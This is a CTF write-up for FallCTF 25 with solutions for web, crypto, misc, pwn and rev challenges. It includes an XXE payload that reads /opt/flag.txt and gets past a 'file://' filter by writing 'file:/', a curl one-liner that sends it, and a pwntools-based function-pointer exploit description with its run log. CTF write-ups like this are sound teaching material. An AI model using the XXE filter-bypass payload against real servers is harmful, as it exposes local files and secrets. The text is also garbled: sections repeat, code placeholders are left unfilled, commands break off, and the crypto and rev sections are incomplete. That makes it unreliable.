FallCTF 25
web
Aggie HTTP
This one is mostly a protocol-formatting puzzle, not a crypto or pwn trick. The service speaks a tiny variant of HTTP where the only real difference is the protocol token: AHTTP/1.1 instead of HTTP/1.1. So normal HTTP/1.1 requests will likely be rejected; you must send requests whose request-line ends with AHTTP/1.1. After that, treat it exactly like HTTP/1.1: include Host: and terminate headers with \r\n\r\n.
Slop Shoveler
-
They parse XML with
lxmlusingET.XMLParser(load_dtd=True, resolve_entities=True). -
They only use
<id>from your XML; if it isn’t a known ID, they reply with an error echoing back the value of<id>:id_element = data.find('.//id') img_id = id_element.text.strip() if id_element is not None else None if img_id not in IMAGES: return jsonify({'error': f'Invalid ID: {img_id} '}), 400That echo is your exfil channel. So if
<id>expands to the contents of/opt/flag.txt, the server responds with:{"error":"Invalid ID: <flag text> "} -
They try to block you by rejecting bodies that contain the substring
file://(case-insensitive). But libxml2/lxml acceptsfile:/absolute/path(single slash) as a valid file URI as well, which bypasses their simple check.
Payload to send
Post XML (not JSON) with a DOCTYPE that defines an external entity pointing at file:/opt/flag.txt, then use that entity inside <id>:
<!DOCTYPE x [ <!ENTITY xx SYSTEM "file:/opt/flag.txt"> ]> <req><id>&xx;</id></req>
Note:
- No literal
file://appears (onlyfile:/…), so it slips past theirif ("file://" in raw.lower())filter. resolve_entities=Truemakes&xx;expand to the file content before they read<id>.- Since the expanded
<id>won’t be one of"1".."10", you’ll get a 400 JSON that includes the flag.
One-liner (curl)
curl -sk 'https://slop-shoveler.fallctf.cybr.club/load-image' \
-H 'Content-Type: application/xml' \
--data-binary
{"error":"Invalid ID: looks like you hit gold! gigem{s10pp3rs_l0v3_XXE} "}
## crypto
### Rooting For e=2
**Challenge Description**:
I don't really get why e needs to be relatively prime to φ(n) in RSA. Just pick the super easy e=2.
n = 959b21db92b7710c472fc554cfadc278ce6a1fc54926b243b7b9bdacee2b26830c1329759c5010a7b8cb0b7624af6923aec1f6a2a24bb40499d54577e6a14e044d2bfe4c9d75d173a6905d06a7ea6a388f0f29c58d3628abafcdc91678dd6b857ac446f655413302c37f45f233354bdb5537e37b19b38e86ab85103fbf3f39a9
With
a = 4c32be5ce1e7a7a5361eaf6f4e697421d2d3a7d79e55995d99d68c1120efaf4a5a3753a748bf94e173e84a29ecfe21a7f6302fb05dd5b06769867791b3a262685e42de91100470314db69fb6d39c6adfb301c84f25c5894dc6b5fdd6ad3b7d6cefb52d9cecfaf07a52b32a36da05f90f51ce1d745429991efe38426f7135fd13
b = 3202a36b255aa5115c345c2256a8efd2f1d7b5faeb2028910a3af3f0cf21f5857ee4ae5e70ced9efbba0aeb2d79a3d30f797423b6ad79d2dd48f22dff5ebeabb99777b5ba8c3edf858f74c892512a6abbd3bbdf2841450b75437437742f1f5fbd80cc2599c0df21b6256a5718058f887b294275c93388f25e8cbc14368f04918
Squaring them took only around 8 milliseconds!
I encrypted the flag. I doubt you can crack this!
c = 75c84c2fa98ffad69a9b8c6fb42a3bd90bda78e240874e
## misc
### Gitting Over It
Search commit history and blobs for the flag string (e.g. `gigem{`):
quick: show every object reachable and grep their contents
git rev-list --all | while read rev; do
git ls-tree -r --name-only "
done
done
gigem{maybe_the_real_flag_was_the_friends_we_made_along_the_way}
## pwn
### Stranded
this is the simplest kind of remote control-flow puzzle: the program prints the runtime address of `vuln`, and you can type any hex address to call it (as a function pointer). So all you need to do is:
1. Determine the **offset** between `home` and `vuln` in the binary you were given locally,
2. Read the leaked runtime `vuln` address from the remote program,
3. Add the offset to that leaked address to compute the runtime address of `home`,
4. Send that address in hex (with a newline). The remote process will call `home()` and print the flag.
Below I give a compact pwntools exploit that does exactly that. It assumes you have the challenge binary `./stranded` locally (the one built from `stranded.c`) in the same directory where you run the script. The script computes `offset = elf.symbols['home'] - elf.symbols['vuln']` locally, connects to the remote service, parses the leaked `vuln` address, computes `target = leaked + offset`, and sends it.
Save this as `exploit_stranded.py` and run it.
└─$ python3 exploit_stranded.py
[*] '/home/macc/fall_ctf/stranded/stranded/stranded'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
[+] local vuln: 0x1269
[+] local home: 0x11fa
[+] offset home - vuln = 0x-6f
[+] Opening connection to fallctf.cybr.club on port 443: Done
🛰️ You're adrift in deep space. Your only hope is to hack the thruster.
🔴 WARNING: Main thruster failure!
Your malfunctioning thruster is at: 0x55e59210d269
Point thruster to (hex address)>
[+] leaked vuln address = 0x55e59210d269
[+] calling home at runtime address = 0x55e59210d1fa
/home/macc/fall_ctf/stranded/stranded/exploit_stranded.py:57: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline(hex(target))
[+] Receiving all data: Done (96B)
[*] Closed connection to fallctf.cybr.club port 443
🚀 Thrusters online! You're heading home...
gigem
## rev
### Uh What*
**Challenge description:**
Uh my file got corrupted but I swear it had some really important information with gigem{...}.Can you help me recover my file all I have is this executable called uh-what.
Also a wizard told me something about magic to fix it hopefully you can figure it out. goodluck :)
**Files given:**
uh-what
<!DOCTYPE x [ <!ENTITY xx SYSTEM "file:/opt/flag.txt"> ]>\n<req><id>&xx;</id></req>'
{{CODE_BLOCK_1}}
crypto
Rooting For e=2
Challenge Description:
I don't really get why e needs to be relatively prime to φ(n) in RSA. Just pick the super easy e=2.
{{CODE_BLOCK_2}}
With
{{CODE_BLOCK_3}}
Squaring them took only around 8 milliseconds!
I encrypted the flag. I doubt you can crack this!
{{CODE_BLOCK_4}}
misc
Gitting Over It
Search commit history and blobs for the flag string (e.g. gigem{):
gigem
pwn
Stranded
this is the simplest kind of remote control-flow puzzle: the program prints the runtime address of vuln, and you can type any hex address to call it (as a function pointer). So all you need to do is:
- Determine the offset between
homeandvulnin the binary you were given locally, - Read the leaked runtime
vulnaddress from the remote program, - Add the offset to that leaked address to compute the runtime address of
home, - Send that address in hex (with a newline). The remote process will call
home()and print the flag.
Below I give a compact pwntools exploit that does exactly that. It assumes you have the challenge binary ./stranded locally (the one built from stranded.c) in the same directory where you run the script. The script computes offset = elf.symbols['home'] - elf.symbols['vuln'] locally, connects to the remote service, parses the leaked vuln address, computes target = leaked + offset, and sends it.
Save this as exploit_stranded.py and run it.
rev
Uh What*
Challenge description:
Uh my file got corrupted but I swear it had some really important information with gigem{...}.Can you help me recover my file all I have is this executable called uh-what.
Also a wizard told me something about magic to fix it hopefully you can figure it out. goodluck :)
Files given:
uh-what